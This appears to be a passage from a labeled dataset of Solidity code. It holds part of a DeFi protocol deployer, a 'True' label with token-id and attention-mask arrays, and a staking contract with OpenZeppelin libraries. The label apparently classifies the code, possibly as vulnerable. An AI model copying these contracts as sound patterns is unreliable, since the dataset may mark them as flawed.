PublicanFactory publicanFactory_,
AerFactory aerFactory_,
LimesFactory limesFactory_,
FIATFactory fiatFactory_,
MonetaFactory monetaFactory_,
SurplusAuctionFactory surplusAuctionFactory_,
DebtAuctionFactory debtAuctionFactory_,
NoLossCollateralAuctionFactory collateralAuctionFactory_,
CollybusFactory collybusFactory_,
TenebraeFactory tenebraeFactory_
) public checkCaller checkStep(0) {
codexFactory = codexFactory_;
publicanFactory = publicanFactory_;
aerFactory = aerFactory_;
limesFactory = limesFactory_;
fiatFactory = fiatFactory_;
monetaFactory = monetaFactory_;
surplusAuctionFactory = surplusAuctionFactory_;
debtAuctionFactory = debtAuctionFactory_;
collateralAuctionFactory = collateralAuctionFactory_;
collybusFactory = collybusFactory_;
tenebraeFactory = tenebraeFactory_;
}
function deployCodex() public checkCaller checkStep(1) {
codex = codexFactory.newCodex(address(this));
collybus = collybusFactory.newCollybus(address(this));
}
function deployFIAT() public checkCaller checkStep(2) {
fiat = fiatFactory.newFIAT(address(this));
moneta = monetaFactory.newMoneta(address(codex), address(fiat));
// contract permissions
fiat.allowCaller(fiat.mint.selector, address(moneta));
}
function deployPublican() public checkCaller checkStep(3) {
publican = publicanFactory.newPublican(address(this), address(codex));
// contract permissions
codex.allowCaller(codex.modifyRate.selector, address(publican));
}
function deployAuctions(address govToken) public checkCaller checkStep(4) {
if (govToken == address(0)) revert Deployer__deployAuctions_zeroGovToken();
surplusAuction = surplusAuctionFactory.newSurplusAuction(address(this), address(codex), govToken);
debtAuction = debtAuctionFactory.newDebtAuction(address(this), address(codex), govToken);
aer = aerFactory.newAer(address(this), address(codex), address(surplusAuction), address(debtAuction));
// aer.surplusBuffer = 1M FIAT
// contract references
publican.setParam("aer", address(aer));
// contract permissions
codex.allowCaller(codex.createUnbackedDebt.selector, address(debtAuction));
surplusAuction.allowCaller(surplusAuction.startAuction.selector, address(aer));
surplusAuction.allowCaller(surplusAuction.lock.selector, address(aer));
debtAuction.allowCaller(debtAuction.startAuction.selector, address(aer));
debtAuction.allowCaller(debtAuction.lock.selector, address(aer));
}
function deployLimes() public checkCaller checkStep(5) {
limes = limesFactory.newLimes(address(this), address(codex));
// contract references
limes.setParam("aer", address(aer));
// contract permissions
codex.allowCaller(codex.confiscateCollateralAndDebt.selector, address(limes));
aer.allowCaller(aer.queueDebt.selector, address(limes));
}
function deployTenebrae() public checkCaller checkStep(6) {
tenebrae = tenebraeFactory.newTenebrae(address(this));
// contract references
tenebrae.setParam("codex", address(codex));
tenebrae.setParam("limes", address(limes));
tenebrae.setParam("aer", address(aer));
tenebrae.setParam("collybus", address(collybus));
// contract permissions
codex.allowCaller(codex.lock.selector, address(tenebrae));
limes.allowCaller(limes.ANY_SIG(), address(tenebrae));
aer.allowCaller(aer.ANY_SIG(), address(tenebrae));
collybus.allowCaller(collybus.ANY_SIG(), address(tenebrae));
}
function deployCollateralAuction() public checkCaller checkStep(7) {
collateralAuction = collateralAuctionFactory.newNoLossCollateralAuction(
address(this),
address(codex),
address(limes)
);
// contract references
collateralAuction.setParam("aer", address(aer));
collateralAuction.setParam("limes", address(limes));
// contract permissions
codex.allowCaller(codex.transferCredit.selector, address(moneta));
codex.allowCaller(codex.createUnbackedDebt.selector, address(collateralAuction));
collateralAuction.allowCaller(collateralAuction.startAuction.selector, address(limes));
collateralAuction.allowCaller(collateralAuction.cancelAuction.selector, address(tenebrae));
limes.allowCaller(limes.liquidated.selector, address(collateralAuction));
}
/// ======== Setup Parameters ======== ///
function setDao(address dao) public checkCaller checkStep(8) {
_setCaller(dao);
}
function setAerGuard(address guard) public checkCaller checkStep(9) {
_setGuard(guard);
}
function setAuctionGuard(address guard) public checkCaller checkStep(10) {
_setGuard(guard);
}
function setCodexGuard(address guard, uint256 globalDebtCeiling) public checkCaller checkStep(11) {
_setGuard(guard);
codex.setParam("globalDebtCeiling", globalDebtCeiling);
}
function setCollybusGuard(
address guard,
address[] memory discountRateRelayerList,
address[] memory spotRelayerList
) public checkCaller checkStep(12) {
_setGuard(guard);
for (uint256 i = 0; i < discountRateRelayerList.length; ++i) {
collybus.allowCaller(Collybus.updateDiscountRate.selector, discountRateRelayerList[i]);
}
for (uint256 i = 0; i < spotRelayerList.length; ++i) {
collybus.allowCaller(Collybus.updateSpot.selector, spotRelayerList[i]);
}
}
function setLimesGuard(address guard, uint256 globalMaxDebtOnAuction) public checkCaller checkStep(13) {
_setGuard(guard);
limes.setParam("globalMaxDebtOnAuction", globalMaxDebtOnAuction);
}
function setPublicanGuard(address guard) public checkCaller checkStep(14) {
_setGuard(guard);
}
function setVaultGuard(address guard) public checkCaller checkStep(15) {
_setGuard(guard);
}
function renounce() public checkCaller checkStep(16) {
codex.blockCaller(codex.ANY_SIG(), address(this));
limes.blockCaller(limes.ANY_SIG(), address(this));
aer.blockCaller(aer.ANY_SIG(), address(this));
publican.blockCaller(publican.ANY_SIG(), address(this));
fiat.blockCaller(fiat.ANY_SIG(), address(this));
collybus.blockCaller(collybus.ANY_SIG(), address(this));
collateralAuction.blockCaller(collateralAuction.ANY_SIG(), address(this));
surplusAuction.blockCaller(surplusAuction.ANY_SIG(), address(this));
debtAuction.blockCaller(debtAuction.ANY_SIG(), address(this));
tenebrae.blockCaller(tenebrae.ANY_SIG(), address(this));
}
function _setGuard(address guard) internal {
_setCaller(guard);
if (!IGuard(guard).isGuard()) revert Deployer__setGuard_notGuard();
}
function _setCaller(address caller) internal {
aer.allowCaller(aer.ANY_SIG(), caller);
codex.allowCaller(codex.ANY_SIG(), caller);
collateralAuction.allowCaller(collateralAuction.ANY_SIG(), caller);
collybus.allowCaller(collybus.ANY_SIG(), caller);
debtAuction.allowCaller(debtAuction.ANY_SIG(), caller);
fiat.allowCaller(fiat.ANY_SIG(), caller);
limes.allowCaller(limes.ANY_SIG(), caller);
publican.allowCaller(publican.ANY_SIG(), caller);
surplusAuction.allowCaller(surplusAuction.ANY_SIG(), caller);
tenebrae.allowCaller(tenebrae.ANY_SIG(), caller);
}
}
| True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
1013,
1013,
9385,
1006,
1039,
1007,
2760,
4542,
1026,
4542,
23890,
1030,
4125,
6279,
1012,
5658,
1028,
8278,
24582,
10244,
2595,
1063,
3853,
1999,
4183,
1006,
4769,
11632,
1007,
6327,
1025,
3853,
2275,
28689,
2213,
1006,
27507,
16703,
11498,
2213,
1010,
21318,
3372,
17788,
2575,
2951,
1007,
6327,
1025,
3853,
2275,
28689,
2213,
1006,
4769,
1010,
27507,
16703,
1010,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
3853,
4923,
1006,
4769,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4895,
5963,
22367,
15878,
2102,
1006,
4769,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
2015,
1006,
4769,
1010,
21318,
3372,
17788,
2575,
1010,
4769,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
28658,
1006,
4769,
11632,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
2561,
12131,
9067,
3207,
19279,
1010,
21318,
3372,
17788,
2575,
3446,
1010,
21318,
3372,
17788,
2575,
7016,
3401,
16281,
1010,
21318,
3372,
17788,
2575,
7016,
10258,
16506,
1007,
1025,
3853,
4460,
1006,
4769,
11632,
1010,
21318,
3372,
17788,
2575,
19204,
3593,
1010,
4769,
2597,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
24172,
1010,
21318,
3372,
17788,
2575,
3671,
3207,
19279,
1007,
1025,
3853,
3795,
3207,
19279,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
3795,
4609,
5963,
22367,
15878,
2102,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
3795,
3207,
19279,
3401,
16281,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
10284,
1006,
4769,
1010,
4769,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
3946,
9247,
29107,
2618,
1006,
4769,
1007,
6327,
1025,
3853,
22837,
12260,
5867,
1006,
4769,
1007,
6327,
1025,
3853,
19933,
26657,
1006,
4769,
1010,
21318,
3372,
17788,
2575,
1010,
4769,
1010,
20014,
17788,
2575,
1007,
6327,
1025,
3853,
4651,
26657,
1006,
4769,
11632,
1010,
21318,
3372,
17788,
2575,
19204,
3593,
1010,
4769,
5034,
2278,
1010,
4769,
16233,
2102,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
1025,
3853,
4651,
16748,
23194,
1006,
4769,
5034,
2278,
1010,
4769,
16233,
2102,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
1025,
3853,
19933,
26895,
24932,
7911,
4859,
3207,
19279,
1006,
4769,
11632,
1010,
21318,
3372,
17788,
2575,
19204,
3593,
1010,
4769,
5310,
1010,
4769,
24172,
17629,
1010,
4769,
7016,
2953,
1010,
20014,
17788,
2575,
7160,
26895,
24932,
2389,
1010,
20014,
17788,
2575,
7160,
12131,
9067,
3207,
19279,
1007,
6327,
1025,
3853,
4651,
26895,
24932,
7911,
4859,
3207,
19279,
1006,
4769,
11632,
1010,
21318,
3372,
17788,
2575,
19204,
3593,
1010,
4769,
5034,
2278,
1010,
4769,
16233,
2102,
1010,
20014,
17788,
2575,
7160,
26895,
24932,
2389,
1010,
20014,
17788,
2575,
7160,
12131,
9067,
3207,
19279,
1007,
6327,
1025,
3853,
9530,
8873,
15782,
26557,
14511,
24932,
7911,
4859,
3207,
19279,
1006,
4769,
11632,
1010,
21318,
3372,
17788,
2575,
19204,
3593,
1010,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract PootopiaStaking is EIP712, Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
using Counters for Counters.Counter;
IERC20 flush = IERC20(0xf07e62de6321158E1d06527919D945D73545C195);
struct StakedContract {
bool active;
IERC721 instance;
}
mapping(address => mapping(address => EnumerableSet.UintSet)) addressToStakedTokensSet;
mapping(address => mapping(uint => address)) contractTokenIdToOwner;
mapping(address => mapping(uint => uint)) contractTokenIdToStakedTimestamp;
mapping(address => StakedContract) public contracts;
mapping(address => Counters.Counter) accountToNonce;
mapping(address => uint) public accountToLastWithdrawTimestamp;
mapping(address => uint) public accountToLastWithdrawAmount;
EnumerableSet.AddressSet activeContracts;
address _signerAddress;
event Stake(uint tokenId, address contractAddress, address owner);
event Unstake(uint tokenId, address contractAddress, address owner);
event Withdraw(address owner, uint nonce, uint amount);
modifier ifContractExists(address contractAddress) {
require(activeContracts.contains(contractAddress), "contract does not exists");
_;
}
constructor() EIP712("PootopiaStaking", "1.0.0") {
_signerAddress = 0x42bC5465F5b5D4BAa633550e205A1d7D81e6cACf;
}
function stake(address contractAddress, uint[] memory tokenIds) external {
StakedContract storage _contract = contracts[contractAddress];
require(_contract.active, "token contract is not active");
for (uint i = 0; i < tokenIds.length; i++) {
uint tokenId = tokenIds[i];
// Assign token to his owner
contractTokenIdToOwner[contractAddress][tokenId] = msg.sender;
// Transfer token to this smart contract
_contract.instance.safeTransferFrom(msg.sender, address(this), tokenId);
// Add this token to user staked tokens
addressToStakedTokensSet[contractAddress][msg.sender].add(tokenId);
// Save stake timestamp
contractTokenIdToStakedTimestamp[contractAddress][tokenId] = block.timestamp;
emit Stake(tokenId, contractAddress, msg.sender);
}
}
function unstake(address contractAddress, uint[] memory tokenIds) external ifContractExists(contractAddress) {
StakedContract storage _contract = contracts[contractAddress];
for (uint i = 0; i < tokenIds.length; i++) {
uint tokenId = tokenIds[i];
require(addressToStakedTokensSet[contractAddress][msg.sender].contains(tokenId), "token is not staked");
// Remove owner of this token
delete contractTokenIdToOwner[contractAddress][tokenId];
// Transfer token to his owner
_contract.instance.safeTransferFrom(address(this), msg.sender, tokenId);
// Remove this token from user staked tokens
addressToStakedTokensSet[contractAddress][msg.sender].remove(tokenId);
// Remove stake timestamp
delete contractTokenIdToStakedTimestamp[contractAddress][tokenId];
emit Unstake(tokenId, contractAddress, msg.sender);
}
}
function stakedTokensOfOwner(address contractAddress, address owner) external view ifContractExists(contractAddress) returns (uint[] memory) {
EnumerableSet.UintSet storage userTokens = addressToStakedTokensSet[contractAddress][owner];
uint[] memory tokenIds = new uint[](userTokens.length());
for (uint i = 0; i < userTokens.length(); i++) {
tokenIds[i] = userTokens.at(i);
}
return tokenIds;
}
function stakedTokenTimestamp(address contractAddress, uint tokenId) external view ifContractExists(contractAddress) returns (uint) {
return contractTokenIdToStakedTimestamp[contractAddress][tokenId];
}
function withdrawFlush(uint amount, bytes calldata signature) external {
require(_signerAddress == recoverAddress(msg.sender, amount, accountNonce(msg.sender), signature), "invalid signature");
flush.transfer(msg.sender, amount);
accountToNonce[msg.sender].increment();
accountToLastWithdrawTimestamp[msg.sender] = block.timestamp;
accountToLastWithdrawAmount[msg.sender] = amount;
emit Withdraw(msg.sender, accountToNonce[msg.sender].current() - 1, amount);
}
function addContract(address contractAddress) public onlyOwner {
contracts[contractAddress].active = true;
contracts[contractAddress].instance = IERC721(contractAddress);
activeContracts.add(contractAddress);
}
function updateContract(address contractAddress, bool active) public onlyOwner ifContractExists(contractAddress) {
require(activeContracts.contains(contractAddress), "contract not added");
contracts[contractAddress].active = active;
}
function accountNonce(address accountAddress) public view returns (uint) {
return accountToNonce[accountAddress].current();
}
function setSignerAddress(address signerAddress) external onlyOwner {
_signerAddress = signerAddress;
}
function _hash(address account, uint amount, uint nonce) internal view returns (bytes32) {
return
_hashTypedDataV4(
keccak256(
abi.encode(
keccak256("Flush(uint256 amount,address account,uint256 nonce)"),
amount,
account,
nonce
)
)
);
}
function recoverAddress(address account, uint amount, uint nonce, bytes calldata signature) public view returns(address) {
return ECDSA.recover(_hash(account, amount, nonce), signature);
}
function onERC721Received(address _operator, address, uint256, bytes calldata) external returns(bytes4) {
require(_operator == address(this), "token must be staked over stake method");
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
